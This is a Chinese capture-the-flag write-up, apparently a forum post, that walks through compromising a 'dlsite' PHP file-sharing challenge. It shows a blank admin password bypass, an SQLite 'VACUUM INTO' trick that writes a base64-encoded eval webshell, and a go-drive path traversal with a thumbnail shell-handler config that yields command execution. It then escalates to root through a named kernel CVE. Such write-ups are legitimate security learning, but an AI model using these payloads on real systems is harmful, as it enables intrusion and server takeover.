dlsite--空密码后台 → SQLite 落地 Webshell → 内核 CVE-2026-31431 root

看看主站是什么 Your site is working normally! Access data at /data, or new site at /new 没发现端倪,附件只给了个docker,去看看 RUN cd /var/www/html && \ rm -rf ./* && \ git ...
dlsite--空密码后台 → SQLite 落地 Webshell → 内核 CVE-2026-31431 root
dlsite--空密码后台 → SQLite 落地 Webshell → 内核 CVE-2026-31431 root

看看主站是什么

Your site is working normally! Access data at /data, or new site at /new

没发现端倪,附件只给了个docker,去看看

RUN cd /var/www/html && \
    rm -rf ./* && \
    git clone --depth=1 https://github.com/mnihyc/dlsite.git . && \
    touch index.html && \
    sed -i '9 i Your site is working normally! Access data at <a href="/data/">/data</a>, or new site at <a href="/new/#/_/test">/new</a>' dl/index.html && \
    ln -s /app/data/local/test dl/data && \
    sqlite3 db.sqlite "CREATE TABLE CONFIG(NAME NTEXT NOT NULL,TYPE NTEXT NOT NULL,VALUE NTEXT NOT NULL,PRIMARY KEY (NAME,TYPE));" && \
    chown -R root:www-data . && \
    find . -type d -exec chmod 1775 {} + && \
    find . -type f -exec chmod 0664 {} +

这里看到后端是https://github.com/mnihyc/dlsite

并且继续往下,

RUN cat > /etc/apache2/sites-available/000-default.conf <<'EOF'
<VirtualHost *:80>
    ServerAdmin webmaster@localhost
    DocumentRoot /var/www/html

    RewriteEngine On
    RewriteCond %{REQUEST_URI} !^/(main\.php|assets/|favicon\.ico$|robots\.txt$|new(?:/|$)|ancient(?:/|$))
    RewriteRule ^ /main.php [L]

    <Directory /var/www/html>
        Options FollowSymLinks
        AllowOverride None
        Require all granted
    </Directory>

    <FilesMatch \.php$>
        SetHandler "proxy:unix:/run/php/php-fpm.sock|fcgi://localhost"
    </FilesMatch>

    <Directory /app/data/local/test>
        Options FollowSymLinks
        AllowOverride None
        Require all granted
    </Directory>

    ProxyPreserveHost On
    <LocationMatch "^/ancient$">
        SetHandler "proxy:unix:/run/apache2/ancient.sock|fcgi://localhost"
        ProxyFCGIBackendType GENERIC
        ProxyFCGISetEnvIf "true" SCRIPT_FILENAME "/app/data/local/test/index.cgi"
        ProxyFCGISetEnvIf "true" SCRIPT_NAME "/ancient"
    </LocationMatch>
    Alias /ancient/ /app/data/local/test/

    ProxyPass /new http://127.0.0.1:8089/new
    ProxyPassReverse /new http://127.0.0.1:8089/new

    ErrorLog ${APACHE_LOG_DIR}/error.log
    CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>
EOF

apache将main.php后跟着的现存目录都重定向回去,.php走socket直接给php-fpm

接下来就是审计后端

if(!OLDSTYLE_PATH || SUPPORT_NEWPATH)
    {
        $ismanage=($opath=='/manage');
        if($opath=='/view' || $opath=='/down' || $opath=='/manage')
        {
            $ropath='';
            if(substr($inpasswd,0,2)=='p=')
            {
                $ropath=substr($inpasswd,2);
                if($ismanage)
                    $inpasswd='manage';
                else
                    $inpassver=isset($_POST['pass']);
                if(($vpos=strpos($ropath,'&'))!==FALSE)
                {
                    $inpasswd=substr($ropath,$vpos+1);
                    $inpassver|=!empty($inpasswd);
                    $ropath=substr($ropath,0,$vpos);
                }
            }

如果请求是/mange,覆盖$inpasswd=‘manage’;

然后截取的就是密码字段,接着就是

if($inpasswd==='manage')
    {
        ob_start();
        htmlmsg();
        if(checkmanagepassword())
        {
            /* Insert a record */
            if(isset($_POST['qi']))
            {
                global $db;
                $db->execwf("INSERT INTO CONFIG (NAME,TYPE,VALUE) VALUES ('{$db->escapeString($_POST['namei'])}','{$db->escapeString($_POST['typei'])}','{$db->escapeString($_POST['valuei'])}')");
            }
            /* Delete a record */
            if(isset($_POST['qd']))
            {
                global $db;
                $db->execwf("DELETE FROM CONFIG WHERE NAME='{$db->escapeString($_POST['named'])}' AND TYPE='{$db->escapeString($_POST['typed'])}'");
            }
            /* Update a record */
            if(isset($_POST['qu']))
            {
                global $db;
                $db->execwf("UPDATE CONFIG SET VALUE='{$db->escapeString($_POST['valueu'])}' WHERE NAME='{$db->escapeString($_POST['nameu'])}' AND TYPE='{$db->escapeString($_POST['typeu'])}'");
            }
            
            if(is_dir(__DIR__.FILE_DIR.$opath) && substr($opath,-1,1)!=='/')
                $opath.='/';
            $qsql="SELECT NAME,TYPE,VALUE FROM CONFIG WHERE NAME LIKE '{$db->escapeString($opath)}%'";
            if(isset($_POST['sql']) && !empty($_POST['sql']))
                $qsql=$_POST['sql'];
            $qnamei=$opath;
            if(isset($_POST['qi']) && isset($_POST['namei']) && !empty($_POST['namei']))
                $qnamei=$_POST['namei'];
            global $db;
            $res=$db->queryarr($qsql);

发现在check时候

function checkmanagepassword()
    {
?>
<div class="table-responsive">
        <table class="table table-striped table-sm">
            <thead>
                <tr>
                    <th class="d-table-cell">
                        <div class="container">
                            <p class="lead text-center">A <strong>password</strong> verification is required to access this page. <br></p>
<?php
        $passvld=true;
        if(isset($_POST['manage']))
        {
            $_SESSION['manage']=gethashedpass($_POST['manage']);
            $_SESSION['expired']=time();
        }
        
        if(!isset($_SESSION['expired']))
            $passvld=false;
        else if(abs(time()-$_SESSION['expired'])>=3600*24)
        {
            $passvld=false;
            echo '<p class="lead text-center">Verification <span style="color: red;"><strong>expired</strong></span>.</p>';
        }
        else
        {
            if($_SESSION['manage']===MANAGE_PASSWORD)
            {
                $passvld=true;
                echo '<p class="lead text-center">Verification <span style="color: green;"><strong>passed</strong></span>.</p>';
                
            }
            else
            {
                $passvld=false;
                echo '<p class="lead text-center">Verification <span style="color: red;"><strong>failed</strong></span>.</p>';
            }
        }
        if(!$passvld)
        {
?>

直接

if($_SESSION['manage']===MANAGE_PASSWORD)
            {
                $passvld=true;

就可以返回true

而这个默认的密码是空密码

/* Encrypted password of the management page (keep it SECRET) */
    /* The way to compute: md5(md5(PSWD).'+'.sha1(PSWD)) */
    /* Default value 7f6d747029adeefe073804e34b089020 means blank password */
    define('MANAGE_PASSWORD','7f6d747029adeefe073804e34b089020');

在直接传入/mange?p=,密码字段滞空,就会让check直接返回true,进入后台,审计下后台可做操作

这里

if(is_dir(__DIR__.FILE_DIR.$opath) && substr($opath,-1,1)!=='/')
                $opath.='/';
            $qsql="SELECT NAME,TYPE,VALUE FROM CONFIG WHERE NAME LIKE '{$db->escapeString($opath)}%'";
            if(isset($_POST['sql']) && !empty($_POST['sql']))
                $qsql=$_POST['sql'];
            $qnamei=$opath;
            if(isset($_POST['qi']) && isset($_POST['namei']) && !empty($_POST['namei']))
                $qnamei=$_POST['namei'];
            global $db;
            $res=$db->queryarr($qsql);

$qsql可以直接进行sql语句执行

这样,我们可以执行sql语句,那么怎么落地文件呢,这里要回到sqlite本身的语法

在上面已经看到过config的示例表了,直接可以插入字段,一共三个字段

在第一段插入php代码,但是如何落地

VACUUM INTO filename;语法

是可以将现在的数据库文件直接复制一份到指定目录的

虽然大部分都是二进制,但是我们其中的php代码不会被转义

我们将这个文件命名后缀为php然后

INSERT OR REPLACE INTO CONFIG (NAME, TYPE, VALUE)
VALUES (
  'sora_payload',
  'php',
  '<?php file_put_contents("/var/www/html/dl/ws.php",base64_decode("PD9waHAgQGV2YWwoJF9QT1NUWyJjIl0pOz8+"));?>'
);

这样就可以将base64编码后的webshell直接插入可访问的目录

达成基础的php rce,但是如何上升系统,因为php端有很多限制

open_basedir = /var/www/html:/tmp:/app/data/local/test
disable_functions = system, exec, shell_exec, passthru, proc_open, popen, copy, rename, unlink, symlink, ...

可以看看docker配置的第二部分

被app直接拉起来,并且

[program:go-drive]
command=/usr/local/bin/no_priv /usr/local/bin/go-drive-bootstrap.sh
directory=/app
user=app
priority=30
autostart=true
autorestart=true
startsecs=0
stdout_logfile=/dev/fd/1
stdout_logfile_maxbytes=0
stderr_logfile=/dev/fd/2
stderr_logfile_maxbytes=0

并且autorestart=true,这里可以看看重启的用户和这个框架重启的逻辑

localRoot, _ := driveUtils.Config.GetLocalFsDir()
path, _ = filepath.Abs(filepath.Join(localRoot, path))
if exists, _ := utils.FileExists(path); !exists {
    return nil, notFound
}
return &Drive{path}, nil

这里并没有检查filepath是否有路径穿越,而这又不是php配置的内容,所以可以绕开php.ini的封锁

新建 fs drive 时填:

../../../../app

filepath.Join("/app/data/local", "../../../../app")

最后会变成:

/app

所以我们可以通过new去挂载服务器的目录到后台,有点像访问指向

所以把管理略缩图的config挂载之后下载之后改

thumbnail:
  handlers:
    - type: shell
      tags:
      file-types: cmd
      config:
        shell: sh /tmp/cmd.sh
        mime-type: text/plain
        write-content: false
        max-size: -1
        timeout: 30s

shell指的是这个类型用shell处理

也就是:生成缩略图时,可以执行外部命令。

并且定义后缀为cmd,也就是说当cmd后缀时

调用sh /tmp/cmd.sh,并且返回text

因为 PHP 的 open_basedir 允许 /tmp,所以可以用 ws.php 写:

file_put_contents("/tmp/cmd.sh", "id\nwhoami\nuname -a\n");
file_put_contents("/tmp/probe.cmd", "");

于是也就拿到了系统命令的RCE,但是依旧是要提权的

当然在这之前,配置项的文件虽然改变了,但是实际上内存还是没有变化的,

依旧需要重启这个服务,这里就要提到让这个go的程序崩溃的方法了

一个方法就是调用动态脚本处理文件,

再非预期去返回flase,

func (d *ScriptDrive) Save(...) error {
    result := runJS(...)
    return result
}

这里的result如果是none在后面做path的时候就会

panic: runtime error: invalid memory address or nil pointer dereference

提权阶段,

依旧是看看suid,以及其他的服务有没有

但是这里的服务是通过no_prive起的,并且

struct sock_fprog prog = { sizeof(filter) / sizeof(filter[0]), filter };
    if (argc < 2) return 127;
    if (prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0)) return 126;
    if (prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &prog)) return 126;
    execvp(argv[1], argv + 1);
    return 127;
}

这里PR_SET_NO_NEW_PRIVS指的是不让它起的新程序获得新的权限

所以当前是没法进行直接su的

我尝试了最近的核弹检测POC, CVE-2026-31431

ta的内核并未打补丁,成功提权

当然。此类CVE解析很多,就不赘述了

1 个帖子 - 1 位参与者

阅读完整话题

来源: LinuxDo 最新话题查看原文